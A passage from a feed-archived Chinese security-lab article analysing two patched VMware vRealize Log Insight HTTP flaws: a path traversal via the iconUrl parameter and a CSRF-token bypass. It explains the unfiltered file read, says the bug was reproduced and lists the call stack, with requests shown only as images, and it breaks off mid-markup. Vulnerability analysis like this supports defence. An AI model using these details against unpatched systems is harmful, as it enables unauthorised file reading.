center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">分享给小伙伴</span></section><section style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);box-sizing: border-box !important;overflow-wrap: break-word !important;">↓↓点击</span><span msthash="837306" msttexthash="88348169" style="outline: 0px;max-width: 100%;font-size: 14px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">阅读原文</strong></span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);box-sizing: border-box !important;overflow-wrap: break-word !important;">，了解更多墨云信息</span></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ebd342f8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247485105%26idx%3D1%26sn%3D4b8d8da5eebe0dfccc7f9801df6cc7a2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 31 Mar 2023 18:08:00 +0800</pubDate>
    </item>
    <item>
      <title>VMware vRealize Log HTTP服务两个漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485086&amp;idx=1&amp;sn=440ac37456efd0056eab04e265a2b3bc</link>
      <description>VLab是墨云科技旗下的安全研究团队，专注于漏洞挖掘，红蓝对抗，APT攻防，前瞻性安全技术预研等方向。</description>
      <content:encoded><![CDATA[<p>
原创 <span>VLab安全实验室</span> <span>2023-03-03 18:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>VLab是墨云科技旗下的安全研究团队，专注于漏洞挖掘，红蓝对抗，APT攻防，前瞻性安全技术预研等方向。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=eeca3b5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplS82nqXdTFaV8chUxeRrwErNJs9sfBWLAOib85BIguQ6J5GibJLJ7GLjgzFheeETGbt73y8I3lKlZjQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section msthidden="1" style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="0" data-cropx2="500" data-cropy1="0" data-cropy2="386.9047619047619" data-galleryid="" data-ratio="0.772" data-s="300,640" data-type="jpeg" data-w="500" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 84px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ef3468d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5Hyd9IkZVo0JUSV5nPeVNVriaFQKWJ59ODSQiafWYYvZs3fadU0JPjQ0A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438321" msttexthash="25869584" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">VLab-实验室</span></strong></section><section msthidden="1" style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" data-type="gif" data-w="128" data-width="10%" style="outline: 0px;font-size: 16px;letter-spacing: 0.544px;widows: 1;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 67.691px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></section><section style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;">今年年初vmware官方修</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;">复了该产品Thrift服务中的一个未授权rce漏洞，CVE编号CVE-2022-31704，通过对比补丁发现在http服务中也修复了两个漏洞，一个路径穿越漏洞和一个bypass csrf token漏洞。</span></section><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;outline: 0px;font-weight: bold;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">漏洞分析</span></h2><p style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;">首先分析路径穿越漏洞：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5720430107526882" data-s="300,640" style="" data-type="png" data-w="1860" src="https://wechat2rss.xlab.app/img-proxy/?k=4ced41ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplS82nqXdTFaV8chUxeRrwErRF2rIptv2dXyF4BVrAEQMlVgpCibF9TQtiaK2r6XfFfm5BOB4phGRC5A%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n8" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;">可以看到这里接收到iconUrl参数后,调用了ContentPackUtil.getIconFileData方法处理。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.42005420054200543" data-s="300,640" style="" data-type="png" data-w="1476" src="https://wechat2rss.xlab.app/img-proxy/?k=216b0d89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplS82nqXdTFaV8chUxeRrwErYWTYymiaKHLF8DSnJeHnIicXZWohRuXqKGM1DaDz7bO55HjEYRMUAw4Q%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n10" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;">这里没有做任何过滤就有读文件操作,读了文件之后做了一次base64编码。接下来发送http请求测试一下。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6299045599151644" data-s="300,640" style="" data-type="jpeg" data-w="1886" src="https://wechat2rss.xlab.app/img-proxy/?k=2dc8a159&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplS82nqXdTFaV8chUxeRrwErdIphUNtK9bDBiaCGbyGb3pHSSGL6wIzOFFrHZV7E80ic4dJ2MBYktOZA%2F640%3Fwx_fmt%3Djpeg"/></p><p cid="n12" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;">http响应包的icon数据base64解码后：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.445468509984639" data-s="300,640" style="" data-type="png" data-w="1302" src="https://wechat2rss.xlab.app/img-proxy/?k=54cef0fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplS82nqXdTFaV8chUxeRrwErKnpGJ6ToTDzZTzwguH7JHQ4RDly8BrTycACvlb0XZRCbLHVuUudvOw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n14" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;">可以看到这里成功复现了路径穿越漏洞。</span></p><p cid="n15" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;">列一下调用栈：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer"><span class="code-snippet__section">getIconFileData:401, ContentPackUtil (com.vmware.loginsight.commons.contentpack)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">exportContentPackFromJson:445, ContentPackActionBean (com.vmware.loginsight.web.actions.misc)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke0:-1, NativeMethodAccessorImpl (sun.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:62, NativeMethodAccessorImpl (sun.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:43, DelegatingMethodAccessorImpl (sun.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:498, Method (java.lang.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">intercept:456, DispatcherHelper$6 (net.sourceforge.stripes.controller)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">proceed:158, ExecutionContext (net.sourceforge.stripes.controller)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">interceptEventHandling:188, SecurityInterceptor (org.stripesstuff.plugin.security)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">intercept:120, SecurityInterceptor (org.stripesstuff.plugin.security)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">proceed:155, ExecutionContext (net.sourceforge.stripes.controller)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">intercept:113, BeforeAfterMethodInterceptor (net.sourceforge.stripes.controller)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">proceed:155, ExecutionContext (net.sourceforge.stripes.controller)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">wrap:74, ExecutionContext (net.sourceforge.stripes.controller)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invokeEventHandler:454, DispatcherHelper (net.sourceforge.stripes.controller)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invokeEventHandler:278, DispatcherServlet (net.sourceforge.stripes.controller)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">service:160, DispatcherServlet (net.sourceforge.stripes.controller)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">service:764, HttpServlet (javax.servlet.http)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:453, DynamicMappingFilter$2 (net.sourceforge.stripes.controller)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:260, StripesFilter (net.sourceforge.stripes.controller)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:440, DynamicMappingFilter (net.sourceforge.stripes.controller)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:166, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:125, ResponseOverrideFilter (org.displaytag.filter)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:166, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:180, RestCsrfPreventionFilter (com.vmware.loginsight.web.stripesext)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:166, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:126, HttpHeaderSecurityFilter (org.apache.catalina.filters)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:166, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:40, CSPFilter (com.vmware.loginsight.web.stripesext)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:166, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:24, UTF8EncodingFilter (com.vmware.loginsight.web.utilities)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:166, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:29, ReferrerPolicyFilter (com.vmware.loginsight.web.utilities)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:166, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:30, CacheControlFilter (com.vmware.loginsight.web.utilities)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:166, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:31, UrlRewriteFilter (com.vmware.loginsight.web.stripesext)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doFilter:166, ApplicationFilterChain (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:196, StandardWrapperValve (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:97, StandardContextValve (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:661, AuthenticatorBase (org.apache.catalina.authenticator)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:661, AuthenticatorBase (org.apache.catalina.authenticator)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:135, StandardHostValve (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:81, ErrorReportValve (org.apache.catalina.valves)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:81, ErrorReportValve (org.apache.catalina.valves)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:261, SingleSignOn (org.apache.catalina.authenticator)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:769, RemoteIpValve (org.apache.catalina.valves)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:78, StandardEngineValve (org.apache.catalina.core)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">service:366, CoyoteAdapter (org.apache.catalina.connector)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">service:639, Http11Processor (org.apache.coyote.http11)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">process:65, AbstractProcessorLight (org.apache.coyote)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">process:847, AbstractProtocol$ConnectionHandler (org.apache.coyote)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">run:2168, AprEndpoint$SocketWithOptionsProcessor (org.apache.tomcat.util.net)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">run:748, Thread (java.lang)</span></span></code></pre></section><p cid="n17" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;">再来分析一下bypass csrf token漏洞。</span></p><p cid="n18" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;">在上面的http request请求数据包中可以发现http header头中存在X-Csrf-Token字段,如果去掉该字段http响应包会返回403拒绝访问。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.47578947368421054" data-s="300,640" style="" data-type="png" data-w="1900" src="https://wechat2rss.xlab.app/img-proxy/?k=43946216&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplS82nqXdTFaV8chUxeRrwEr1QOS5Lyzf4WRE35GxVicxs4mndL3AVUmmE5rRfnz1AHx95laAFMjLow%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n20" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;">查看校验X-Csrf-Token字段代码。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4864864864864865" data-s="300,640" style="" data-type="png" data-w="1850" src="https://wechat2rss.xlab.app/img-proxy/?k=d1d59bb7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplS82nqXdTFaV8chUxeRrwErgrUmrDIvhWeiaLBRnX6PhU3ycQDdtscAPuQLhVyEAlXToBibdQUoxjCg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n22" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft 